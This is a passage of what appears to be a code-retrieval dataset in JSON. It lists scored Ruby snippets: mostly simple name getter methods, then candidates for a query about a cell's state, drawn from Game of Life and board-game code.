"094a5e989e5e35d0ecbe2b087b8c6675", "score": "0.6938019", "text": "def retrieve_name\n return @name\n end", "title": "" }, { "docid": "c5a9fb4c1e9d983db74452a0ab86cd57", "score": "0.69213", "text": "def get_name\n\t\treturn @name\n\tend", "title": "" }, { "docid": "c5a9fb4c1e9d983db74452a0ab86cd57", "score": "0.69213", "text": "def get_name\n\t\treturn @name\n\tend", "title": "" }, { "docid": "c5a9fb4c1e9d983db74452a0ab86cd57", "score": "0.69213", "text": "def get_name\n\t\treturn @name\n\tend", "title": "" }, { "docid": "ede94ff8ed768d454e1c4a591aec71d3", "score": "0.6917617", "text": "def pet_shop_name(name)\n return name[:name]\nend", "title": "" }, { "docid": "2a5101cd659923c133c76234f0787586", "score": "0.6916214", "text": "def getName\n return @name\n end", "title": "" }, { "docid": "2a5101cd659923c133c76234f0787586", "score": "0.6916214", "text": "def getName\n return @name\n end", "title": "" }, { "docid": "82bc55cde643a1bd04dc1b65af38aee6", "score": "0.6864414", "text": "def name() return @name end", "title": "" }, { "docid": "82bc55cde643a1bd04dc1b65af38aee6", "score": "0.6864414", "text": "def name() return @name end", "title": "" }, { "docid": "811dfda1da713e2122c1fc31d0dae773", "score": "0.6864213", "text": "def\n get_name()\n @name\n end", "title": "" }, { "docid": "1a3d978dffc842c7e838d9f289fd0c8d", "score": "0.686371", "text": "def get_name # AK as mentioned in `item.rb`, getters and setters are generated by `attr_accessor`. Kind of like in C# with properties.\r\n \"#{self.name}\"\r\n end", "title": "" }, { "docid": "3fb2e9b08475a94d84e5d2a39f8126c6", "score": "0.685696", "text": "def name\n return item_info.name + quality_txt\n end", "title": "" }, { "docid": "d8a18b03abffb62377c755a48c6be740", "score": "0.68550557", "text": "def getName()\n return @name\n end", "title": "" }, { "docid": "64f4f42da0931d404367e128bad5e5a7", "score": "0.6854185", "text": "def getName\n @name\n end", "title": "" }, { "docid": "64f4f42da0931d404367e128bad5e5a7", "score": "0.6854185", "text": "def getName\n @name\n end", "title": "" }, { "docid": "358f13c437ec18fbad6a06eb004c44ba", "score": "0.68328726", "text": "def name\n Item.find(item_id).name\n end", "title": "" }, { "docid": "358f13c437ec18fbad6a06eb004c44ba", "score": "0.68328726", "text": "def name\n Item.find(item_id).name\n end", "title": "" }, { "docid": "fcf6b426f816eb5830db00828e3a02cb", "score": "0.6823352", "text": "def name\n return \"Shop\"\n end", "title": "" }, { "docid": "c99f702692583b578ae93dc9c2fbf130", "score": "0.6820529", "text": "def live_name\n [\n transformed_part('product'),\n middle_name(standalone: false), # Will have word dividers on either side\n idx,\n maybe_upto,\n '-',\n parts['sku'] =~ /editorial/ && bang? ? 'square-' : nil,\n [name_base, ext_name].join\n ].compact.join\n end", "title": "" }, { "docid": "e9397ceb5ed30d702f26b2589aaf3412", "score": "0.6793638", "text": "def name\n \tself.item.name\n end", "title": "" }, { "docid": "ebb60bb91664199f6aaff3fe86b9d3cd", "score": "0.67801124", "text": "def get_name\n return \"Irene\"\nend", "title": "" }, { "docid": "296192a85e61fedcfe7834c677aabcc0", "score": "0.6776732", "text": "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "title": "" }, { "docid": "296192a85e61fedcfe7834c677aabcc0", "score": "0.6776732", "text": "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "title": "" }, { "docid": "296192a85e61fedcfe7834c677aabcc0", "score": "0.6776732", "text": "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "title": "" }, { "docid": "296192a85e61fedcfe7834c677aabcc0", "score": "0.6776732", "text": "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "title": "" }, { "docid": "296192a85e61fedcfe7834c677aabcc0", "score": "0.6776732", "text": "def getName\r\n\t\t\t\t\treturn @name\r\n\t\t\t\tend", "title": "" }, { "docid": "701dd3f50f3d6b62c1bc1e6ea165cce9", "score": "0.6773889", "text": "def getName()\n return @name ;\n end", "title": "" }, { "docid": "a16a2f1c3882a19f708e143438be95f0", "score": "0.6755486", "text": "def shop_name\n data[:shop_name]\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "c434937634add40feb4721ce8c81141b", "score": "0.6754771", "text": "def name\n return @name\n end", "title": "" }, { "docid": "9681c66fa570f935c16bfbbfd9840322", "score": "0.67533374", "text": "def name\n return @name\n end", "title": "" }, { "docid": "baf028ca6a49df1eb70e5b70000cc9a6", "score": "0.67478526", "text": "def name\n @name.to_s\n end", "title": "" }, { "docid": "baf028ca6a49df1eb70e5b70000cc9a6", "score": "0.67478526", "text": "def name\n @name.to_s\n end", "title": "" }, { "docid": "f8048e30936e47533d2c2d820e1687cc", "score": "0.67465377", "text": "def item_name\n return if self.item_id.nil?\n\n # TODO: Redundant now\n if self.item_id.present?\n self.item_id\n else\n self.item.name\n end\n end", "title": "" }, { "docid": "40daeb66792c2cba02198a4569b19aad", "score": "0.6732076", "text": "def name_with_sku\n [product_name, sku].compact.join(': ')\n end", "title": "" }, { "docid": "b68b46f87ebf14d92363476219e8b7d3", "score": "0.6726655", "text": "def get_name\n return \"Name: \" + @name\n end", "title": "" }, { "docid": "916a096e545f4c676363161641ccf870", "score": "0.6715078", "text": "def get_name\n return @m_name\n end", "title": "" }, { "docid": "916a096e545f4c676363161641ccf870", "score": "0.6715078", "text": "def get_name\n return @m_name\n end", "title": "" }, { "docid": "916a096e545f4c676363161641ccf870", "score": "0.6715078", "text": "def get_name\n return @m_name\n end", "title": "" }, { "docid": "916a096e545f4c676363161641ccf870", "score": "0.6715078", "text": "def get_name\n return @m_name\n end", "title": "" }, { "docid": "619c27c6e8772ca3b22e8905ab2641a5", "score": "0.6706568", "text": "def display_name\n name\n end", "title": "" }, { "docid": "6e9ee22da6c76e946ed08a7627a916cd", "score": "0.66946775", "text": "def display_name\n name\n end", "title": "" }, { "docid": "6e9ee22da6c76e946ed08a7627a916cd", "score": "0.66946775", "text": "def display_name\n name\n end", "title": "" }, { "docid": "cc34f6e7dfededdaed4a017c431eeb12", "score": "0.6692929", "text": "def getName()\r\n\t\treturn @name\r\n\tend", "title": "" }, { "docid": "c14b0270cee7ac802186a83c96095650", "score": "0.6688023", "text": "def return_name\n @name\n end", "title": "" }, { "docid": "250f56085ea60b81976c9c221b0029b9", "score": "0.6683548", "text": "def name_with_sku\n [product_name, sku].compact.join(': ')\n end", "title": "" }, { "docid": "b5f5a64b7bb4fc265f87abf57b40798f", "score": "0.66780555", "text": "def name\n @name\n end", "title": "" }, { "docid": "9ffaa023830d9007cff557bf516d2306", "score": "0.66760564", "text": "def title\n \"line item for #{product.name}\"\n end", "title": "" } ]
7e98df57ffe7e08792a40f949f6c6c34
returns state of a given cell
[ { "docid": "c995d9a41ee42ae368ddc882826f3794", "score": "0.6522902", "text": "def cell(cell)\n @board[cell]\n end", "title": "" } ]
[ { "docid": "b19292620a5e882f22a89daf8dec61e4", "score": "0.74507546", "text": "def state\n board.state(index)\n end", "title": "" }, { "docid": "78bac86280bfd74d9421728446730749", "score": "0.7374865", "text": "def board_state()\r\n\t\treturn @cellMap\r\n\tend", "title": "" }, { "docid": "0a3d0a07dc67d823d5c19332c6177730", "score": "0.7270138", "text": "def getState(x, y)\n if(@grid != nil)\n return @grid.getCell(x,y).getState\n end\n return nil\n end", "title": "" }, { "docid": "c6a5a7ed490773d00bf1bb76acfcae1e", "score": "0.7260407", "text": "def calculate_next_cell_state(row, col)\n living_neighbours = count_living_neighbours(row, col)\n current_cell_state = @current_board[row][col]\n\n current_cell_state = if living_neighbours < 2 || living_neighbours > 3\n 0\n elsif (living_neighbours == 2 && current_cell_state != 0) || living_neighbours == 3\n 1\n else\n 0\n end\n\n current_cell_state\n end", "title": "" }, { "docid": "d9aba96841c5fdeb90ff8daeb8535c27", "score": "0.70283234", "text": "def evolved_cell_state(cell_x, cell_y)\n current_state = grid[cell_y][cell_x]\n neighbours_count, dominant_color = cell_neighbours(cell_x, cell_y)\n\n if !current_state && neighbours_count == 3\n dominant_color\n elsif neighbours_count < 2 || neighbours_count > 3\n nil\n else\n current_state\n end\n end", "title": "" }, { "docid": "d5e40f088c58704fdb6c2621be2470be", "score": "0.6887467", "text": "def check_cell_status(x_coord, y_coord)\n\t\treturn @state[x_coord][y_coord].content\n\tend", "title": "" }, { "docid": "f11286f833aa33b7f6fc09a9c817ed20", "score": "0.6831566", "text": "def newCellState(cellIndex, cellScore)\n newCellState = 0\n cellScore == 2 || cellScore == 3 && @board[cellIndex] ? newCellState = 1 : newCellState = 0\n if cellScore == 3 && @board[cellIndex] == 0\n newCellState = 1\n end\n return newCellState;\n end", "title": "" }, { "docid": "d23872003ad9987c8b04600640149565", "score": "0.6383559", "text": "def cell_alive?(column, row)\n @cell_state[(row % ROWS) * ROWS + (column % COLUMNS)] > 0\n end", "title": "" }, { "docid": "097e111ce72631b2015eef333e92a8d7", "score": "0.6380928", "text": "def live_neighbors(cell_row, cell_col)\n count = 0\n row = cell_row - 1\n col = cell_col - 1\n\n min_row = [row - 1, 0].max\n max_row = [row + 1, number_rows - 1].min\n min_col = [col - 1, 0].max\n max_col = [col + 1, number_columns - 1].min\n\n (min_row..max_row).each do |r|\n count += (min_col..max_col).inject(0) {|count,c| count + @state[r][c]}\n end\n count - @state[row][col]\n end", "title": "" }, { "docid": "73e75cfa9455dbdb2f57939cdc1ef754", "score": "0.6365981", "text": "def set_cell(cell, state)\n @board[cell] = state\n end", "title": "" }, { "docid": "07b6b3b47fb9981cf3bd27a0a10a8333", "score": "0.63656783", "text": "def next_state(column, row)\n live_count = 0\n [ [-1, 1], [0, 1], [1, 1],\n [-1, 0], [1, 0],\n [-1, -1], [0, -1], [1, -1] ].each do |xo, yo|\n live_count += cell_alive?(column + xo, row + yo) ? 1 : 0\n end\n if cell_alive?(column, row)\n KEEP_LIVING_NEXT_GENERATION[live_count] ? 2 : 0\n else\n SPAWN_NEXT_GENERATION[live_count] ? 1 : -1\n end\n end", "title": "" }, { "docid": "eafac538474ee9768863af74dd8e414f", "score": "0.6333686", "text": "def give_cell_status\n cell = get_cell\n cell_status(cell)\n end", "title": "" }, { "docid": "d76703a0c50bb87ece7633d0cd32d7a0", "score": "0.6310081", "text": "def state\n @state.first\n end", "title": "" }, { "docid": "121ac1cb281efe9f10574cd2a4b4118b", "score": "0.6293686", "text": "def toggle_cell_state(cell, live_n)\n if cell\n if live_n == 2 || live_n == 3\n true\n else\n false\n end\n else\n live_n == 3\n end\n end", "title": "" }, { "docid": "b87beff36bf05fd82124055348f49ef8", "score": "0.62649006", "text": "def cell_flagger(row_num, col_num)\n\t\t@grid[row_num][col_num].flagger\n\tend", "title": "" }, { "docid": "7162f9cd103e83dc62b843c27ef7a6e0", "score": "0.6263621", "text": "def state\n @@states[@state]\n end", "title": "" }, { "docid": "c51f5861f358187ff156f99f984d008d", "score": "0.62265134", "text": "def index_state(index)\r\n @state[index]\r\n end", "title": "" }, { "docid": "f711201351c306c731c4248c119b7178", "score": "0.618054", "text": "def get_state\n return self.state == 't' || self.state == true\n end", "title": "" }, { "docid": "4829807056858e6ebf00bc9439049c9c", "score": "0.615005", "text": "def evolve\n\t\t# Check that the state is defined and that the first row has at least one cell/column\n\t\tunless @state.nil? or @state[0].length == 0\n\t\t\tnew_state = Array.new(@state.length) {|row| Array.new(@state[0].length) { |cell| 0}}\n\t\telse\n\t\t\treturn @state\n\t\tend\n\t\t\n\t\t# Iterate through each cell in the state (board) and determine how many neighbouring cells are alive\n\t\t@state.each_with_index do |row, row_index|\n\t\t\trow.each_with_index do |cell, cell_index|\n\t\t\t\tcount = 0\n\t\t\t\tfor i in -1..1\n\t\t\t\t\tfor j in -1..1\n\t\t\t\t\t\tif row_index + i < 0\n\t\t\t\t\t\t\tr = @state.length - 1\n\t\t\t\t\t\telsif row_index + i >= @state.length\n\t\t\t\t\t\t\tr = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tr = row_index + i\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tif cell_index + j < 0\n\t\t\t\t\t\t\tc = row.length - 1\n\t\t\t\t\t\telsif cell_index + j >= row.length\n\t\t\t\t\t\t\tc = 0\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tc = cell_index + j\n\t\t\t\t\t\tend\n\t\t\t\t\t\t\n\t\t\t\t\t\tif @state[r][c] == 1 \n\t\t\t\t\t\t\tif !(r == row_index and c == cell_index)\n\t\t\t\t\t\t\t\tcount = count + 1\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Based on the rules for the game of life\n\t\t\t\t# If a live cell has 2 or 3 live neighbours it lives another day\n\t\t\t\t# If a dead cell has 3 live neighbours it gets to be born (again)\n\t\t\t\tif @state[row_index][cell_index] == 1\n\t\t\t\t\tif (count < 2 or count > 3)\n\t\t\t\t\t\tnew_state[row_index][cell_index] = 0\n\t\t\t\t\telse\n\t\t\t\t\t\tnew_state[row_index][cell_index] = 1\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tif count == 3\n\t\t\t\t\t\tnew_state[row_index][cell_index] = 1\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\t@state = new_state\n\t\treturn @state\n\tend", "title": "" }, { "docid": "c511ca7a6c1ec2aa777f3b95e2e9fffc", "score": "0.6148625", "text": "def state\n @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "c1494ab201ca639403b9fdd115acf1be", "score": "0.61320925", "text": "def state\n return @state\n end", "title": "" }, { "docid": "b3c50a38d01a693dbe35a97fd9c51e84", "score": "0.6127537", "text": "def board(row:, column:)\n board_state[index_from_row_column(row, column)]\n end", "title": "" }, { "docid": "aa4b4537d898da36fd939e5de5f2625e", "score": "0.6126893", "text": "def state(index = :all)\n index = check_index(index)\n res = cmd(COMMANDS[:state]).ord\n res = (0...size).to_a.map { |pos| (res & (0x01 << pos)) >> pos }\n res = res[index - 1] if index && index.nonzero?\n res\n end", "title": "" }, { "docid": "8e7ab5653d7f5c5cedb4cfc0ed4f8d20", "score": "0.6119503", "text": "def get_next_state(char)\n @@scan_table[@state - 1].find(lambda {[0, 1]}) { |rule| char =~ rule[0] }[1]\n end", "title": "" }, { "docid": "c43195ee9970979fad4c30e2c917bdd5", "score": "0.611189", "text": "def get_state(key)\n computation.get_state(key)\n end", "title": "" }, { "docid": "bb49e460917b08d883b978d94b7c1887", "score": "0.6104847", "text": "def calc_next_state row,col\n neighbours=neighbour_count row,col\n @next_state[row][col]=next_life_state @current_state[row][col],neighbours\n end", "title": "" }, { "docid": "97ba1dabc7aecd04e45c120e17dd8098", "score": "0.609635", "text": "def get_state(key)\n @state[key]\n end", "title": "" }, { "docid": "ebcb028b977dc762eafb32f64e1eb768", "score": "0.60955036", "text": "def state\n @current_state\n end", "title": "" }, { "docid": "3ee67d20069e0c057e8dc5303c3dedfe", "score": "0.60883677", "text": "def get_next_state(matrix,x2,y2)\r\n if 1==matrix[[@x+x2,@y+y2]].state\r\n @live_neighbor=@live_neighbor.to_i+1\r\n end\r\n end", "title": "" }, { "docid": "a2e1ce207656d18cc1cecb2eaed5c047", "score": "0.6080043", "text": "def state\n data.state\n end", "title": "" }, { "docid": "a2e1ce207656d18cc1cecb2eaed5c047", "score": "0.6080043", "text": "def state\n data.state\n end", "title": "" }, { "docid": "3f1a4dbc83e0f52a562c00b3b8b3f906", "score": "0.6075229", "text": "def state\n State.new(board_size, moves)\n end", "title": "" }, { "docid": "71376d3fc6e2c382e1b2cc982ae3c149", "score": "0.60726357", "text": "def state\n @state\n end", "title": "" }, { "docid": "1545cab0f3d1e213a98e4c1481f0cd59", "score": "0.6068775", "text": "def fate(cell)\n if cell.living \n if cell.neighbors < 2\n return -1\n elsif cell.neighbors == 2 || cell.neighbors == 3\n return 0\n else\n return -1\n end\n else # cell is not living\n if cell.neighbors == 3\n return 1\n else\n return -1\n end \n end\n end", "title": "" }, { "docid": "4886d10a3b41fa8a1fc852cda5c7866b", "score": "0.6055377", "text": "def state\n states.first\n end", "title": "" }, { "docid": "3630254a6a928ceb21dfb6f9e0da968f", "score": "0.60503876", "text": "def state\n @state\n end", "title": "" }, { "docid": "e3c9794459fed437db439f6d8a355d50", "score": "0.60503566", "text": "def get_state\n session.execute(@get_state_stmt, workspace_id).each do |row|\n state = row['state']\n lock_owning_worker_id = row['worker_id']\n if (lock_owning_worker_id != worker_id)\n raise \"Worker #{worker_id} does not match lock holding worker id #{lock_owning_worker_id}\"\n end\n return state\n end\n raise \"Worker #{worker_id} did not find state for #{workspace_id}\"\n end", "title": "" }, { "docid": "14fbdd70a680a53f8dedf2f149fb82c2", "score": "0.603224", "text": "def get_state(name)\n name = name.to_sym\n (@states.detect { |st| st.name == name }).value\n end", "title": "" }, { "docid": "63bdc943efd812bf28fa48bf26af117f", "score": "0.6027831", "text": "def state\n object.state_code\n end", "title": "" }, { "docid": "ef770bb4f418c1abe179e199fe855f27", "score": "0.6025786", "text": "def get_state()\n winner = check_vertical_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_horizontal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n winner = check_diagonal_line()\n if(winner != nil)\n return get_layer_or_ia(winner)\n end \n if(get_empty_space.length == 0)\n return \"draw\"\n end\n return \"none\" \n end", "title": "" }, { "docid": "b0ae9dafcfecd1e4dd8461f54cd49536", "score": "0.60041547", "text": "def state_at(state)\n @state_at[state_to_const(state)]\n end", "title": "" }, { "docid": "90d5d4d82d84dcfcaf42bfc466bcbc62", "score": "0.5996079", "text": "def state()\n state = PureHailDB.ib_trx_state(@trx_ptr)\n if PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_NOT_STARTED]\n NOT_STARTED\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_ACTIVE]\n ACTIVE\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_COMMITTED_IN_MEMORY]\n COMMITTED_IN_MEMORY\n elsif PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_PREPARED]\n PREPARED\n else\n end\n end", "title": "" }, { "docid": "4fd0a092634875ab68f60df73f0b65f0", "score": "0.59750885", "text": "def state\n data[:state]\n end", "title": "" }, { "docid": "ab186fac53118479e3fa585b05cd0076", "score": "0.5973973", "text": "def cell_asset(state)\n\t\t@cellAssets[state]\n\tend", "title": "" }, { "docid": "14f4c79d3f7331a26750fb7250162858", "score": "0.5968962", "text": "def cell(row_num, col_num)\n return @puzzle[row_num][col_num]\n end", "title": "" }, { "docid": "aa0e5dfcbeb126a36a787e611e13ba81", "score": "0.59649736", "text": "def cellAt(row, col)\n\t\treturn @rows[row][col]\n\tend", "title": "" }, { "docid": "8a11e61847c1fd19580988650470fe3d", "score": "0.596411", "text": "def state\n self.well_info.state\n end", "title": "" }, { "docid": "e717966d2cf72a3ec7cbd3a5c1b0ee43", "score": "0.5953414", "text": "def toggle_cell(column, row)\n i = (row % ROWS) * ROWS + (column % COLUMNS)\n @cell_state[i] = (@cell_state[i] <= 0) ? 2 : -1\n end", "title": "" }, { "docid": "600edf5d7a417ee05d78efdd116c04bd", "score": "0.5929547", "text": "def state()\n info[:state]\n end", "title": "" }, { "docid": "9ecf9930a1bf953cc8aa4723b356d717", "score": "0.5922489", "text": "def state\n @game.state\n end", "title": "" }, { "docid": "b6ccf1866d588614865c710f16d4c74f", "score": "0.59115714", "text": "def cellAsset(state=:empty)\n\t\t\t@cellAssets[state]\n\tend", "title": "" }, { "docid": "43aa741cedf2a63dfe0cd9449c25f7ab", "score": "0.5898481", "text": "def state_column(*)\n STATE_COLUMN\n end", "title": "" }, { "docid": "5c4e27d717c15fd503f162a9eb637097", "score": "0.58833516", "text": "def getCell(row, col)\n # Make sure the row/col combination is within the matrix.\n if row > @rows || col > @cols || row <= 0 || col <= 0\n return 0\n end\n return @info[row][col]\n end", "title": "" }, { "docid": "4905d87a3e0af575b5f6ae1dc9b9b65f", "score": "0.5882357", "text": "def state\n @gameState.state\n end", "title": "" }, { "docid": "55e9a16f6f3c67c3cc067b8355b45762", "score": "0.58799636", "text": "def getCell(row,col)\n the_row = @rows[row]\n the_cell = the_row.cells[col]\n return the_cell\n end", "title": "" }, { "docid": "acef9a2ba03157503260743fba67d94c", "score": "0.5878754", "text": "def state\n @state.last\n end", "title": "" }, { "docid": "acef9a2ba03157503260743fba67d94c", "score": "0.5878754", "text": "def state\n @state.last\n end", "title": "" }, { "docid": "e36eae25109517541d7afe77fb928646", "score": "0.5874762", "text": "def state\n return 3 if deleted_at\n self[:state]\n end", "title": "" }, { "docid": "7554e5affbd8dc7a747abb1e50f50abd", "score": "0.58662194", "text": "def state\n self['STATE'].to_i\n end", "title": "" }, { "docid": "7554e5affbd8dc7a747abb1e50f50abd", "score": "0.58662194", "text": "def state\n self['STATE'].to_i\n end", "title": "" }, { "docid": "7554e5affbd8dc7a747abb1e50f50abd", "score": "0.58662194", "text": "def state\n self['STATE'].to_i\n end", "title": "" }, { "docid": "7554e5affbd8dc7a747abb1e50f50abd", "score": "0.58662194", "text": "def state\n self['STATE'].to_i\n end", "title": "" }, { "docid": "7554e5affbd8dc7a747abb1e50f50abd", "score": "0.58662194", "text": "def state\n self['STATE'].to_i\n end", "title": "" }, { "docid": "7554e5affbd8dc7a747abb1e50f50abd", "score": "0.58662194", "text": "def state\n self['STATE'].to_i\n end", "title": "" }, { "docid": "eb394809d4d03dc375582c7231906874", "score": "0.58546007", "text": "def current_state\r\n self.send(self.class.state_column).to_sym\r\n end", "title": "" }, { "docid": "9c50c2c666f38250c35314bb7a802a90", "score": "0.58448505", "text": "def get_cell(x, y)\n grid[x][y]\n end", "title": "" }, { "docid": "dddaef32d721276c1c3af301151f1e7b", "score": "0.5837162", "text": "def state\n info[:state]\n end", "title": "" }, { "docid": "b6e76d084002ac18fe2b5f35cf498242", "score": "0.58309686", "text": "def active_cells; @cells.select(&:active?) end", "title": "" }, { "docid": "640fac5486e85be52759ba485a3ad356", "score": "0.5829907", "text": "def state\n end", "title": "" }, { "docid": "6f5a2cb3f6748fee1c2d17db71b994ff", "score": "0.5826783", "text": "def [](x, y)\n row = @state[y]\n row ? row[x] : nil\n end", "title": "" }, { "docid": "22ec21af79564fc4ec6a1286d689e31a", "score": "0.5821554", "text": "def states\n is = (0...grid.size).to_a\n js = (0...grid.first.size).to_a\n is.product(js).select { |i, j| grid[i][j] } + [:stop]\n end", "title": "" }, { "docid": "6d59db38ab6167fe517a93527e5bea1d", "score": "0.5819218", "text": "def read_state\n end", "title": "" }, { "docid": "ab191660d8dc62e684d63532a28718d3", "score": "0.5816885", "text": "def state_obj; @_hegemon_states[@_hegemon_state]; end", "title": "" }, { "docid": "2d2dc85bf1f06693839021369f09a49d", "score": "0.5813753", "text": "def state\n data['State']\n end", "title": "" }, { "docid": "787c92b88f738562bbc4b976325ea715", "score": "0.5807381", "text": "def state_id\n result = @player\n @field.each do | row | row.each do | cell | result = (result << 2) + (cell ? cell : 2) end end\n result\n end", "title": "" }, { "docid": "7b17ccb1758f298eda029923a682fc2d", "score": "0.58054477", "text": "def get_elem cell\n\t\treturn @elements[cell]\n\tend", "title": "" }, { "docid": "4a0ee77a0fd4530d4654640419e67d68", "score": "0.580181", "text": "def state x, y, m, n, board\n old_state = board[ x ][ y ]\n live_count = 0\n (x-1..x+1).each { |i|\n (y-1..y+1).each { |j|\n if i == x and j == y\n next\n end\n if 0 <= i and i < m and 0 <= j and j < n\n if wasLive board[ i ][ j ]\n live_count = live_count + 1\n end\n end\n }\n }\n if wasLive old_state\n if live_count == 2 or live_count == 3\n new_state = 1\n else\n new_state = 2\n end\n else\n if live_count == 3\n new_state = 3\n else\n new_state = 0\n end\n end\n new_state\nend", "title": "" }, { "docid": "7ae1becf39acb64ccab3f4494a853272", "score": "0.57920504", "text": "def render_state(state)\n @cell = self\n state = state.to_s\n self.state_name = state\n\n content = send(state)\n\n if content.class == String\n return Rails.cache.fetch([\"cells\",cell_name,state].join(\":\"),:force => @force_cache_update) do\n content\n end\n end\n\n return self.render_view_for_state(state)\n end", "title": "" }, { "docid": "c692c42708810e805bd298f1fb57eb27", "score": "0.5790928", "text": "def cellAssetSelected(state)\n\t\t\t@cellAssetsSelected[state]\n\tend", "title": "" }, { "docid": "2cf53f7adcd88e10befa29e779ed5d6c", "score": "0.5779176", "text": "def cell_asset_selected(state)\n\t\t@cellAssets_selected[state]\n\tend", "title": "" }, { "docid": "7d54c0b6a69bc1578010e18e76181374", "score": "0.5771692", "text": "def [](position)\n raise IndexError, \"Bad position: #{position}\" unless position.between?(1,9)\n @state[position - 1]\n end", "title": "" }, { "docid": "c35a552afbaa9346edf6396af7a8a1c3", "score": "0.5769302", "text": "def marker_on_cell(cell)\n\t\tif @cell_status[cell]==2 then\n\t\t\treturn \"X\"\n\t\telsif @cell_status[cell]==1 then\n\t\t\treturn \"O\"\n\t\telse\n\t\t\treturn \" \"\t\n\t\tend\t\t\n\tend", "title": "" }, { "docid": "ac29826c1d303d97dedd33682af4452c", "score": "0.57666796", "text": "def state\n status.state name\n end", "title": "" }, { "docid": "4a463649c072fd47f05844257dba45f8", "score": "0.5719764", "text": "def get_cell(cell)\n query_cell_info '/cell/get', cell\n end", "title": "" }, { "docid": "6c31451c5323b8a28155ee933469349e", "score": "0.57189304", "text": "def getCell(x, y)\n return @grid.getCell(x,y)\n end", "title": "" }, { "docid": "e2a4c216385bb94823e23e0122dbf066", "score": "0.5718801", "text": "def getCell(row, column)\n\n\t\treturn @grid.getElement(row, column)\n\tend", "title": "" }, { "docid": "cc6d6feeb03b95c5c2c7f6e7ee4434a7", "score": "0.57073134", "text": "def get_neighbor(matrix)\r\n @live_neighbor=0\r\n get_next_state(matrix,0,1) #NORTH\r\n get_next_state(matrix,1,1) #NORTHEAST\r\n get_next_state(matrix,1,0) #EAST\r\n get_next_state(matrix,1,-1) #SOUTHEAST\r\n get_next_state(matrix,0,-1) #SOUTH\r\n get_next_state(matrix,-1,-1) #SOUTHWEST\r\n get_next_state(matrix,-1,0) #WEST\r\n get_next_state(matrix,-1,1) #NORTHWEST\r\n end", "title": "" }, { "docid": "87f5f81e8139964b19e888f2ae2dedc9", "score": "0.5704488", "text": "def key_state(key)\r\n @state[@state_keys[key]]\r\n end", "title": "" }, { "docid": "9fb68d5ad63153758143bc03b7019394", "score": "0.5693168", "text": "def get_value(row, col)\n for row1, col1, row2, col2, new_value in @history.reverse\n if row1 <= row && row <= row2 && col1 <= col && col <= col2\n return new_value\n end\n end\n return @initial[row][col]\n end", "title": "" }, { "docid": "553eba3cd1c5c9959e652f00ce2c996d", "score": "0.5683217", "text": "def validate_state(array, row, column, array2)\n if array2[row][column] == 1\n #return 1\n flag = 1\n end\n if flag == 1\n return 1\n else\n return 0\n end\nend", "title": "" }, { "docid": 